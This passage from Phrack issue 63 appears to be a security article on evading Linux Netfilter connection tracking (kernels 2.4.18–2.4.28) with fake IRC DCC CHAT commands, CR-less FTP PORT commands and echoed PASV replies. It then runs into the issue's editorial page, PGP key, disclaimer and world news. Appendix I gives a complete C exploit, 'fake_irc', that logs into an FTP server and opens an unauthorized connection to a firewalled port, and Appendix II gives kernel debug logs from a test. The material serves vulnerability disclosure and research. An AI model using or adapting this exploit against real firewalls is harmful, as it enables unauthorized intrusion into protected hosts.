IRC (Internet Relay Chat) is an Internet chatting protocol. An IRC client can use a direct connection in order to speak with another client. When a client logs on the server, he/she connects to an IRC server (TCP port 6667 by default). On the other hand, when the client wants to communicate with another, he/she establishes a direct connection to the peer. To do this, the client sends a message called a DCC CHAT command in advance. The command is analogous to an FTP PORT command. And Netfilter tracks IRC connections as well. It expects and accepts a direct chatting connection.

--[3 - Attack Scenario I

----[3.1 - First Trick

I have created a way to connect illegally to any TCP port on an FTP server that Netfilter protects by deceiving the connection-tracking module in the Linux kernel 2.4.18.

In most cases, IPTables administrators make stateful packet filtering rule(s) in order to accept some Internet services such as IRC direct chatting and FTP file transfer. To do this, the administrators usually insert the following rule into the IPTables rule list.

```
iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT
```

Suppose that a malicious user who logged on the FTP server transmits a PORT command with TCP port number 6667(this is a default IRC server port number) on the external network and then attempts to download a file from the server.

The FTP server actively initiates a data connection to the data port 6667 on the attacker's host. The firewall accepts this connection under the stateful packet filtering rule stated before. Once the connection is established, the connection-tracking module of the firewall(in the Linux kernel 2.4.18) has the security flaw to mistake this for an IRC connection. Thus the attacker's host can pretend to be an IRC server.

If the attacker downloads a file comprised of a string that has the same pattern as DCC CHAT command, the connection-tracking module will misunderstand the contents of a packet for the file transfer as a DCC CHAT command.

As a result, the firewall allows any host to connect to the TCP port number, which is specified in the fake DCC CHAT command, on the fake IRC client (i.e., the FTP server) according to the rule to accept the "related" connection for IRC. For this, the attacker has to upload the file before the intrusion.

In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server.

----[3.2 - First Trick Details

To describe this in detail, let's assume a network configuration is as follows.

(a) A Netfilter/IPtables box protects an FTP server in a network. So users in the external network can connect only to FTP server port on the FTP server. Permitted users can log on the server and download/upload files.

(b) Users in the protected network, including FTP server host, can connect only to IRC servers in the external network.

(c) While one of the internet services stated in (a) and (b) is established, the secondary connections(e.g., FTP data connection) related to the service can be accepted temporarily.

(d) Any other connections are blocked.

To implement stateful inspection for IRC and FTP, the administrator loads the IP connection tracking modules called ip_conntrack into the firewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP and IRC, respectively. Ipt_state must be also loaded.

Under the circumstances, an attacker can easily create a program that logs on the FTP server and then makes the server actively initiate an FTP data connection to an arbitrary TCP port on his/her host.

Suppose that he/she transmits a PORT command with data port 6667 (i.e., default IRC server port).

An example is "PORT 192,168,100,100,26,11\r\n".

The module ip_conntrack_ftp tracking this connection analyzes the PORT command and "expects" the FTP server to issue an active open to the specified port on the attacker's host.

Afterwards, the attacker sends an FTP command to download a file, "RETR <a file name>". The server tries to connect to port 6667 on the attacker's host. Netfilter accepts the FTP data connection under the stateful packet filtering rule.

Once the connection is established, the module ip_conntrack mistakes this for IRC connection. Ip_conntrack regards the FTP server as an IRC client and the attacker's host as an IRC server. If the fake IRC client (i.e., the FTP server) transmits packets for the FTP data connection, the module ip_conntrack_irc will try to find a DCC protocol message from the packets.

The attacker can make the FTP server send the fake DCC CHAT command using the following trick. Before this intrusion, the attacker uploads a file comprised of a string that has the same pattern as a DCC CHAT command in advance.

To my knowledge, the form of a DCC CHAT command is as follows.

"\1DCC<a blank>CHAT<a blank>t<a blank><The decimal IP address of the IRC client><blanks><The TCP port number of the IRC client>\1\n"

An example is "\1DCC CHAT t 3232236548   8000\1\n"

In this case, Netfilter allows any host to do an active open to the TCP port number on the IRC client specified in the line. The attacker can, of course, arbitrarily specify the TCP port number in the fake DCC CHAT command message.

If a packet of this type is passed through the firewall, the module ip_conntrack_irc mistakes this message for a DCC CHAT command and "expects" any host to issue an active open to the specified TCP port number on the FTP server for a direct chatting.

As a result, Netfilter allows the attacker to connect to the port number on the FTP server according to the stateful inspection rule.

After all, the attacker can illegally connect to any TCP port on the FTP server using this trick.

--[4 - Attack Scenario II - Non-standard command line

----[4.1. Second Trick Details

Netfilter in the Linux kernel 2.4.20(and the later versions) is so fixed that a secondary connection(e.g., an FTP data connection) accepted by a primary connection is not mistaken for that of any other protocol. Thus the packet contents of an FTP data connection are not parsed any more by the IRC connection-tracking module.

However, I've created a way to connect illegally to any TCP port on an FTP server that Netfilter protects by dodging connection tracking using a nonstandard FTP command. As stated before, I confirmed that it worked in the Linux kernel 2.4.28.

Under the circumstances stated in the previous chapter, a malicious user in the external network can easily create a program that logs on the FTP server and transmits a nonstandard FTP command line.

For instance, an attacker can transmit a PORT command without the character <CR> in the end of the line. The command line has only <LF> in the end.

An example is "PORT 192,168,100,100,26,11\n".

On the contrary, a standard FTP command has <CRLF> sequence to denote the end of a line.

If the module ip_conntrack_ftp receives a nonstandard PORT command of this type, it first detects a command and finds the character <CR> for the parsing. Because it cannot be found, ip_conntrack_ftp regards this as a "partial" command and drops the packet.

Just before this action, ip_conntrack_ftp anticipated the sequence number of a packet that contains the next FTP command line and updated the associated information. This number is calculated based on the TCP sequence number and the data length of the "partial" PORT command packet.

However, a TCP client, afterwards, usually retransmits the identical PORT command packet since the corresponding reply is not arrived at the client. In this case, ip_conntrack_ftp does NOT consider this retransmitted packet as an FTP command because its sequence number is different from that of the next FTP command anticipated. From the point of view of ip_conntrack_ftp, the packet has a "wrong" sequence number position.

The module ip_conntrack_ftp just accepts the packet without analyzing this command. The FTP server can eventually receive the retransmitted packet from the attacker.

Although ip_conntrack_ftp regards this "partial" command as INVALID, some FTP servers such as wu-FTP and IIS FTP conversely consider this PORT command without <CR> as VALID. In conclusion, the firewall, in this case, fails to "expect" the FTP data connection.

And when the attacker sends a RETR command to download a file from the server, the server initiates to connect to the TCP port number, specified in the partial PORT command, on the attacker's host.

Suppose that the TCP port number is 6667(IRC server port), the firewall accepts this connection under the stateless packet filtering rule that allows IRC connections instead of the stateful filtering rule. So the IP connection-tracking module mistakes the connection for IRC.

The next steps of the attack are the same as those of the trick stated in the previous chapter.

In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server that the Netfilter firewall box protects.

*[supplement] There is a more refined method to dodge the connection-tracking of Netfilter. It uses default data port. On condition that data port is not specified by a PORT command and a data connection is required to be established, an FTP server does an active open from port 20 on the server to the same (a client's) port number that is being used for the control connection.

To do this, the client has to listen on the local port in advance. In addition, he/she must bind the local port to 6667(IRCD) and set the socket option "SO_REUSEADDR" in order to reuse this port.

Because a PORT command never passes through a Netfilter box, the firewall can't anticipate the data connection. I confirmed that it worked in the Linux kernel 2.4.20.

** A demonstration tool and an example of this attack are described in APPENDIX I and APPENDIX II, respectively.

--[5 - Attack Scenario III - 'echo' feature of FTP reply

----[5.1 - Passive FTP: background information

An FTP server is able to do a passive open for a data connection as well. This is called passive FTP. On the contrary, FTP that does an active open is called active FTP.

Just before file transfer in the passive mode, the client sends a PASV command and the server replies the corresponding message with a data port number to the client. An example is as follows.

```
-> PASV\r\n
<- 227 Entering Passive Mode (192,168,20,20,42,125)\r\n
```

Like a PORT command, the IP address and port number are separated by commas. Meanwhile, when you enter a user name, the following command and reply are exchanged.

```
-> USER <a user name>\r\n
<- 331 Password required for <the user name>.\r\n
```

----[5.2 - Third Trick Details

Right after a user creates a connection to an FTP server, the server usually requires a user name. When the client enters a login name at FTP prompt, a USER command is sent and then the same character sequence as the user name, which is a part of the corresponding reply, is returned like echo. For example, a user enters the sting "Alice Lee" as a login name at FTP prompt, the following command line is sent across the control connection.

```
-> USER Alice Lee\r\n
```

The FTP server usually replies to it as follows.

```
<- 331 Password required for Alice Lee.\r\n
```

("Alice Lee" is echoed.)

Blanks are able to be included in a user name.

A malicious user can insert a arbitrary pattern in the name. For instance, when the same pattern as the reply for passive FTP is inserted in it, a part of the reply is arrived like a reply related to passive FTP.

```
-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n
<- 331 Password required for 227 Entering Passive Mode
(192,168,20,29,42,125).\r\n
```

Does a firewall confuse it with a ‘real’ passive FTP reply? Maybe most firewalls are not deceived by the trick because the pattern is in the middle of the reply line.

However, suppose that the TCP window size field of the connection is properly adjusted by the attacker when the connection is established, then the contents can be divided into two like two separate replies.

```
(A) ----->USER xxxxxxxxx227 Entering Passive Mode
(192,168,20,29,42,125)\r\n
(B) <-----331 Password required for xxxxxxxxx
(C) ----->ACK(with no data)
(D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n
```

(where the characters "xxxxx..." are inserted garbage used to adjust the data length.)

I actually tested it for Netfilter/IPTables. I confirmed that Netfilter does not mistake the line (D) for a passive FTP reply at all.

The reason is as follows.

(B) is not a complete command line that ends with <LF>. Netfilter, thus, never considers (D), the next packet data of (B) as the next reply. As a result, the firewall doesn’t try to parse (D).

But, if there were a careless connection-tracking firewall, the attack would work.

In the case, the careless firewall would expect the client to do an active open to the TCP port number, which is specified in the fake reply, on the FTP server. When the attacker initiates a connection to the target port on the server, the firewall eventually accepts the illegal connection.

--[6 - APPENDIX I. A demonstration tool of the second trick

I wrote an exploiting program using C language. I used the following compilation command.

```
/>gcc -Wall -o fake_irc fake_irc.c
```

The source code is as follows.

```
/*
USAGE : ./fake_irc <an FTP server IP> <a target port>
<a user name> <a password> <a file name to be downloaded>

- <an FTP server IP> : An FTP server IP that is a victim
- <a target port> : the target TCP port on the FTP server to which an
attacker wants to connect
- <a user name> : a user name used to log on the FTP server
- <a password> : a password used to log on the FTP server
- <a file name to be downloaded> : a file name to be downloaded from the
```

```
FTP server
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define BUF_SIZE 2048
#define DATA_BUF_SZ 65536
#define IRC_SERVER_PORT 6667
#define FTP_SERVER_PORT 21

static void usage(void)
{
 printf("USAGE : ./fake_irc "
 "<an FTP server IP> <a target port> <a user name> "
 "<a password> <a file name to be downloaded>\n");

 return;
}

void send_cmd(int fd, char *msg)
{
 if(send(fd, msg, strlen(msg), 0) < 0) {
  perror("send");

  exit(0);
 }

 printf("--->%s\n", msg);
}

void get_reply(int fd)
{
 char read_buffer[BUF_SIZE];
 int size;

 //get the FTP server message
 if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {
  perror("recv");

  exit(0);
 }

 read_buffer[size] = '\0';

 printf("<---%s\n", read_buffer);
}

void cmd_reply_xchg(int fd, char *msg)
{
 send_cmd(fd, msg);
 get_reply(fd);
}

/*
argv[0] : a program name
argv[1] : an FTP server IP
argv[2] : a target port on the FTP server host
argv[3] : a user name
argv[4] : a password
argv[5] : a file name to be downloaded
*/
int main(int argc, char **argv)
{
 int fd, fd2, fd3, fd4;
 struct sockaddr_in serv_addr, serv_addr2;
```

```
char send_buffer[BUF_SIZE];
char *ftp_server_ip, *user_id, *pwd, *down_file;
unsigned short target_port;
char data_buf[DATA_BUF_SZ];
struct sockaddr_in sa_cli;
socklen_t client_len;
unsigned int on = 1;
unsigned char addr8[4];
int datasize;

if(argc != 6) {
 usage();
 return -1;
}

ftp_server_ip = argv[1];
target_port = atoi(argv[2]);
user_id = argv[3];
pwd = argv[4];
down_file = argv[5];

if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) {
 perror("socket");
 return -1;
}

bzero(&serv_addr, sizeof(struct sockaddr_in));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(FTP_SERVER_PORT);
serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);

//connect to the FTP server
if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) {
 perror("connect");
 return -1;
}

//get the FTP server message
get_reply(fd);

//exchange a USER command and the reply
sprintf(send_buffer, "USER %s\r\n", user_id);
cmd_reply_xchg(fd, send_buffer);


//exchange a PASS command and the reply
sprintf(send_buffer, "PASS %s\r\n", pwd);
cmd_reply_xchg(fd, send_buffer);

//exchange a SYST command and the reply
sprintf(send_buffer, "SYST\r\n");
cmd_reply_xchg(fd, send_buffer);

sleep(1);

//write a PORT command
datasize = sizeof(serv_addr);

if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {
 perror("getsockname");
 return -1;
}

memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));

sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",
 addr8[0], addr8[1], addr8[2], addr8[3],
 IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);

cmd_reply_xchg(fd, send_buffer);
```

```
 //Be a server for an active FTP data connection
 if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) {
  perror("socket");
  return -1;
 }

 if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {
  perror("setsockopt");
  return -1;
 }

 bzero(&serv_addr, sizeof(struct sockaddr_in));
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_port = htons(IRC_SERVER_PORT);
 serv_addr.sin_addr.s_addr = INADDR_ANY;

 if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {
  perror("bind");
  return -1;
 }

 if( listen(fd2, SOMAXCONN) < 0 ) {
  perror("listen");
  return -1;
 }

 //send a RETR command after calling listen()
 sprintf(send_buffer, "RETR %s\r\n", down_file);
 cmd_reply_xchg(fd, send_buffer);


 //accept the active FTP data connection request
 client_len = sizeof(sa_cli);
 bzero(&sa_cli, client_len);

 fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);

 if( fd3 < 0 ) {
  perror("accept");
  return -1;
 }

 //get the fake DCC command
 bzero(data_buf, DATA_BUF_SZ);

 if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {
  perror("recv");
  return -1;
 }
 puts(data_buf);

 ///Start of the attack
 if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) {
  perror("socket");
  return -1;
 }

 bzero(&serv_addr2, sizeof(struct sockaddr_in));
 serv_addr2.sin_family = AF_INET;
 serv_addr2.sin_port = htons(target_port );
 serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);

 if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr)))
{
  perror("connect");
  return -1;
 }else
  printf("\nConnected to the target port!!\n");
```

```
 //Here, communicate with the target port
 sleep(3);

 close(fd4);//close the attack connection
 ////////////The end of the attack.

 close(fd3);//close the FTP data connection


 //get the reply of FTP data transfer completion
 get_reply(fd);

 sleep(1);

 close(fd);//close the FTP control connection
 close(fd2);

 return 0;

}/*The end*/
```

--[7 - APPENDIX II. A demonstration example of the second attack trick

The followings are the circumstances in which I tested it actually.

The below symbol "[]" stands for a computer box.

```
[An attacker's host]-----[A firewall]-----[An FTP server]
```
(The network interfaces, eth1 and eth2 of the firewall are directly linked to the attacker's host and server, respectively.)

As shown in the above figure, packets being transmitted between the FTP client(i.e., the attacker) and the FTP server pass through the linux box with IPTables in the Linux kernel 2.4.28.

The IP addresses assigned in each box are as follows.

(a) The attacker's host : 192.168.3.3
(b) eth1 port in the Linux box : 192.168.3.1
(c) The FTP server : 192.168.4.4
(d) eth2 port in the Linux box : 192.168.4.1

A TCP server is listening on the FTP server's host address and port 8000. The server on port 8000 is protected by IPTables. The attacker tried to connect illegally to port 8000 on the FTP server in this demonstration.

The associated records during this attack are written in the following order.

(1) The system configurations in the firewall, including the ruleset of IPTables
(2) Tcpdump outputs on eth1 port of the firewall
(3) Tcpdump outputs on eth2 port of the firewall
(4) The file /proc/net/ip_conntrack data with the change of times. It shows the information on connections being tracked.
(5) DEBUGP(), printk messages for debug in the source files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c). For the detailed messages, I activated the macro function DEBUGP() in the files.

Since some characters of the messages are Korean, they have been deleted. I am sorry for this.

==

(1) The system configurations in the firewall

```
[root@hans root]# uname -a
```

```
Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown

[root@hans root]# lsmod
Module                  Size  Used by    Not tainted
ip_conntrack_irc        5216   0  (unused)
ip_conntrack_ftp        6304   0  (unused)
ipt_state               1056   1  (autoclean)
ip_conntrack           40312   2  (autoclean) [ip_conntrack_irc
ip_conntrack_ftp
ipt_state]
iptable_filter          2432   1  (autoclean)
ip_tables              16992   2  [ipt_state iptable_filter]
ext3                   64032   3  (autoclean)
jbd                    44800   3  (autoclean) [ext3]
usbcore                48576   0  (unused)


[root@hans root]# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy DROP)
target     prot opt source               destination
ACCEPT     tcp  --  192.168.3.3          192.168.4.4        tcp dpt:ftp
ACCEPT     tcp  --  anywhere             anywhere           tcp dpt:auth
ACCEPT     tcp  --  192.168.4.4          192.168.3.3        tcp dpt:ircd
ACCEPT     all  --  anywhere             anywhere           state
RELATED,ESTABL
ISHED

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination



[root@hans root]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use
Iface
192.168.4.0     0.0.0.0         255.255.255.0   U     0      0        0
eth2
192.168.3.0     0.0.0.0         255.255.255.0   U     0      0        0
eth1
192.168.150.0   0.0.0.0         255.255.255.0   U     0      0        0
eth0
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo
```

==

(2) Tcpdump outputs on eth1 port of the firewall

You can see that the "partial" PORT commands were transmitted and an illegal connection to port 8000 was established.

tcpdump -nn -i eth1 -s 0 -X

    [phrack staff: Output removed. Do it on your own.]

==

(3) Tcpdump outputs on eth2 port of the firewall

Only one PORT command w/o <CR> is shown on eth2 port since the first one was dropped.

tcpdump -nn -i eth2 -s 0 -X

    [phrack staff: Output removed. Get skilled. Do it yourself!]

```
==============================================================================

(4) The file /proc/net/ip_conntrack data with change of times.

The file /proc/net/ip_conntrack shows the information on connections being
tracked. To that end, I executed the following shell command.

/>watch -n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >>
/tmp/ipconn.txt"

Note : Connections that are not associated with this test are seen from
time to time. I am sorry for this.

    [ phrack staff: Output removed. Use the force luke! ]

==============================================================================
(5) dmesg outputs

->The following paragraph in the message shows that the first PORT command
w/o <CR> was regarded as "partial" and thus dropped.

Dec 31 15:03:40 hans kernel: find_pattern ‘PORT’: dlen = 23
Dec 31 15:03:40 hans kernel: Pattern matches!
Dec 31 15:03:40 hans kernel: Skipped up to ‘ ’!
Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) ‘10’ unexpected
Dec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23


->The following paragraph shows that the second invalid PORT command w/o
<CR> was accepted because it was regarded as a packet that had a wrong
sequence position.(i.e., the packet was not regarded as an FTP command)

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \n
Dec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos
(1273167394)


->The following shows that the connection-tracking module mistook the FTP
data connection for IRC.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2
Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0


->The following shows that ip_conntrack_irc mistook the packet contents of
the FTP data connection for a DCC CHAT command and "expected" the fake
chatting connection.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master
192.168.4.4:20  192.168.3.3:6667...
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT  detected
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port:
192.168.4.4:8000
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph->seq = 3731565152
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote info
seq=1613392874  (ofs=33), len=21
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related
0.0.0.0:0-192.168.4.4:8000
Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0
Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 ->
192.168.4.4:8000
Dec 31 15:03:40 hans kernel: mask:  tuple d6c61da4: 65535 0.0.0.0:0 ->
255.255.255.255:65535
Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0
```

->The following shows that ip_conntrack, after all, accepted the illegal
connection to port 8000 under the stateful inspection rule.

```
Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260
exp=d7cf82e0
Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260
Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260
Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260
```

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x01 of 0x14

```
[-]=========================================================================[-]
[-]=========================================================================[-]
[-]=========================================================================[-]
```

For 20 years PHRACK magazine has been the most technical, most original, the most Hacker magazine in the world. The last five of those years have been under the guidance of the current editorial team. Over that time, many new techniques, new bugs and new attacks have been published in PHRACK. We enojoyed every single moment working on the magazine.

The time is right for new blood, and a fresh phrackstaff.

PHRACK 63 marks the end of the line for some and the start of the line for others. Our hearts will alwasy be with PHRACK.

Expect a new release, under a new regime, sometime in 2006/2007.

As long as there is technology, there will be hackers. As long as there are hackers, there will be PHRACK magazine. We look forward to the next 20 years.

Shoutz:
Phenoelit   : beeing cool & quick with solutions at WTH.
The Dark Tangent   : masterminding defc0n
joep   : no joep == no hardcover.
rootfiend, lirakis, dink : arizona printing & for keepting the spirit alive

Enjoy the magazine!

Phrack Magazine Vol 11 Number 63, Build 2, Jul 30, 2005. ISSN 1068-1035

permission from the editors. Phrack Magazine is made available to the
public, as often as possible, free of charge.

```
|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           : phrackstaff@phrack.org
Submissions       : phrackstaff@phrack.org
Commentary        : loopback@phrack.org
Phrack World News : pwn@phrack.org
```

Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.

|=---=|

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)


```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.1 (GNU/Linux)

mQGiBELk+MARBACP4uJ+aCmxUejehggv2Us9aUg0JV0/fbsvANY45uYCFprOOCQt
/DTvvbkEEFE89CsAAMTGLWFoxfChVzJ8s01ZQSyoQP0bcT1+c08p2yDXPJd9AQT8
TNF9fdeKCgW3TGaYl/ggHPrJOExXbc4iQptfAXrzPLVa1IjbJIfA76OTrwCgncme
dl2rmPrJ6aUkdtWwO+4MwOsD/0Z+WKLPWPJpsT6jXHHKtniEyc4Oy83b5nJch72A
Z5/PnIY0CoTR2JkYT7o5unFmu57N99FiNSlKOCnrec9/IQrty3iQhI+ISiCOqd/a
3hfSoegInf3iqad4SBgxCy+bEqIxOl6GDtI2GbB3V7rjeFn6Ik/gC3V/4JnMbj/U
2FVNA/wLKu2NUFG2nTznkcYXHmOjAz7JAufyLuQI8n9ha0HZ6H4hrDN/xOZrqTIY
uRWdc12qgV/awSjRde+UIcm3tMFO/H771iUktPVSxefpXEADnQ0xgQV86WBL6+32
kDDF+nYIbqTy5SBQrxfUfycyE8CWqQ97CoBkhcpBy2tNKO6OGbQLcGhyYWNrc3Rh
ZmaIXgQTEQIAHgUCQuT4wAIbAwYLCQgHAwIDFQIDAxYCAQIeAQIXgAAKCRANbHBh
kEdcM0zIAKCE1ysoiu7o96qzD+P2wTipsjvITwCZAaSznPOGTPEesxbD0RkejuOg
DLe5Ag0EQuT4xRAIALDbRMPpYFSGQwcHJf9fTGTZeU+RyfCelYXYRi9F28SkbrI/
FkdQHIe8/FFiQtIVIkkbw+UZPsSJenkUebA8wQCTKWpkDkwIoFJQxrpef5wHE3J4
zJ+fBgSNovfEMChe58wYcnuyaWM4eQ72ZnGw7C92spQD1QGajxFZlUXBBa6K3nRW
7xJhXsuYMgPXQ8mi6OIYiOiOa4RfrYrKIUQR/2AwZcO4KK/l4DWjfSjEYh9i3/Ch
7u8vX82skoIabgEFGDQZPG9afI/7TGXpQDQRc4ERHtDP64KIJwVA85e7d8sYjLHm
ocNTIMQHg4MAOoKt+LOYr5qltXZiKI8A/3p77k8AAwUH/ia+AexXwN1zrmn46lBs
7GTaLYI5sM+f/gBzgm81KPjaknbfARJ6+Z2vtgM9OcAHnbW2mkcpuglhVEAQ0+lr
G1ig4xxCqS1yTYlTLbPgzuetjMHJEf4XYTsYOHZRfDJinSJZb+vwa0LEhzE/YVuc
EUEBhKsJWo7mYdoTLuMblfw/eWYs+LMmUVp+HnF9NxWHwqsJiHGSnEX4Kd3264lU
vtsq478wmdMokRHTK23p8uiiWLL8Cl/kMlw8ARVJLqDqoEFAmzO8Rbc5PIzIZPJT
9yf2U5a5jzoZITIuuCBtY9pZ9ww0+SjXJ8xsW1CrNNSYPumnBAmgPgCfvZNoQ5hk
7gOISQQYEQIACQUCQuT4xQIbDAAKCRANbHBhkEdcM+c7AJ9PqXpUL+EkzHIlfOYz
96MpjPYm5QCgiqW0EZcest0fguHXc8K6KDXYpzg=
=m9ny
-----END PGP PUBLIC KEY BLOCK-----
```


```
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
```

```
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x14 of 0x14

```
|=-----------------------------------------------------------------------=|
|=--------------------=[ W O R L D   N E W S ]=--------------------------=|
|=-----------------------------------------------------------------------=|
```

*** NSA & PHRACK ***

.. And in a positive way. See:
http://www.nsa.gov/snac/

Which has a section specifically for routers:
http://www.nsa.gov/snac/downloads_cisco.cfm?MenuID=scg10.3.1

And on page 80 Phrack is at the top of the list of references.

**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****
**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****
**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****

And once gain ... two big companies, Cisco and ISS, try to scare free researchers to not talk about the problems in their software.

Michael Lynn has shown great courage and made use of his natural-born rights: to talk.

Quote from his homepage:

   'People who know me will tell you I have a long history of
                                  not being afraid of people I should.'

Kudos to Lynn from the Staff @ Phrack.

From Michael Lynn's homepage:

A dangerous culture regarding hardware based network devices as impervious to remote compromise has been allowed to exist. Mike has taken on enormous personal risk to do the right thing for the security research community by coming forward with his research and bringing this problem into focus.

Cisco has consistently been on the forefront of this dangerous culture. They exercise a strategy of walling off updates and information only to those with support contracts. In many areas of critical infrastructure, engineers are often limited in their ability to utilize the latest security updates due to their IOS feature train. For years, attempting to adopt SSH as the primary method of administration for Cisco hardware has provided a perfect example of Cisco's broken security culture. Their handling of this situation is putting icing on the cake. We must encourage change in Cisco's security culture.

ISS's actions to date have shown an effect of this broken security culture. ISS's handling of this critical security threat and the researcher that found it have been less then desirable. We are confident our free-market business and media environment will result in both ISS and Cisco learning lessons from this event.

http://www.nicklevay.net/
http://blogs.pcworld.com/staffblog/
http://blogs.washingtonpost.com/securityfix/2005/07/update_to_cisco.html

---

Welcome to Austin/Texas International Airport. Please check out our new camera system. We can spy on our employees, our citizans and even on our president. Try it out now:

http://lobbycamera4.abia.org

Microsofts goes l33t: The 31337 dictionary
http://www.microsoft.com/athome/security/children/kidtalk.mspx

---

This is a big fuckup of what happens if you dont watch out:
1) An attack happens
2) Politicans scare the shit out of the people and tell them it will
   happen again!
3) People accept to give up their rights, their freedom and their brain.
4) People get fucked by what the policticans told them would help
   against terror.

Ladies and Gentlemen, the TSA-FUCKUP:
http://www.komotv.com/stories/37150.htm

I love this quote: And I said what about my constitutional rights? And
they said 'not at this point ... you don't have any'."

DVD copy software illegal in the netherlands.
http://www.theregister.co.uk/2005/07/25/dvd_copy/
http://www.theregister.co.uk/2005/07/25/uk_war_driver_fined/

Wait a moment? The software? I would even protest if it would
be the act of copying. But the software? What fuckup is this?

1) I buy a DVD
2) I buy software to copy DVD
3) I make a copy of my OWN DVD for MY OWN purpose
4) I make a copy of my OWN DVD for my FRIEND
5) I make a copy of my friends DVD for MY FRIEND
6) I make a copy of my friends DVD for ME
7) I make MANY copies of my friends DVD for OTHERS

So where does warez trading start? Netherlands, that was a bad move. The
people of the Netherlands are not stupid. They will never allow you to
forbid them to make a copy of their own DVDs. And for sure you will never
ever be able to forbid them to develop and research software to copy
DVDs or any other software.

Other countries would have sponsored smart guys who can write such software.
The people of the Netherlands will fight for their rights. Free speech & free
research will win in the end.

```
|=-------=-------------------------------------------------------------=|
|=[ Social Penetration Testing ]=--------------------------------------=|
|=-------=-------------------------------------------------------------=|
```

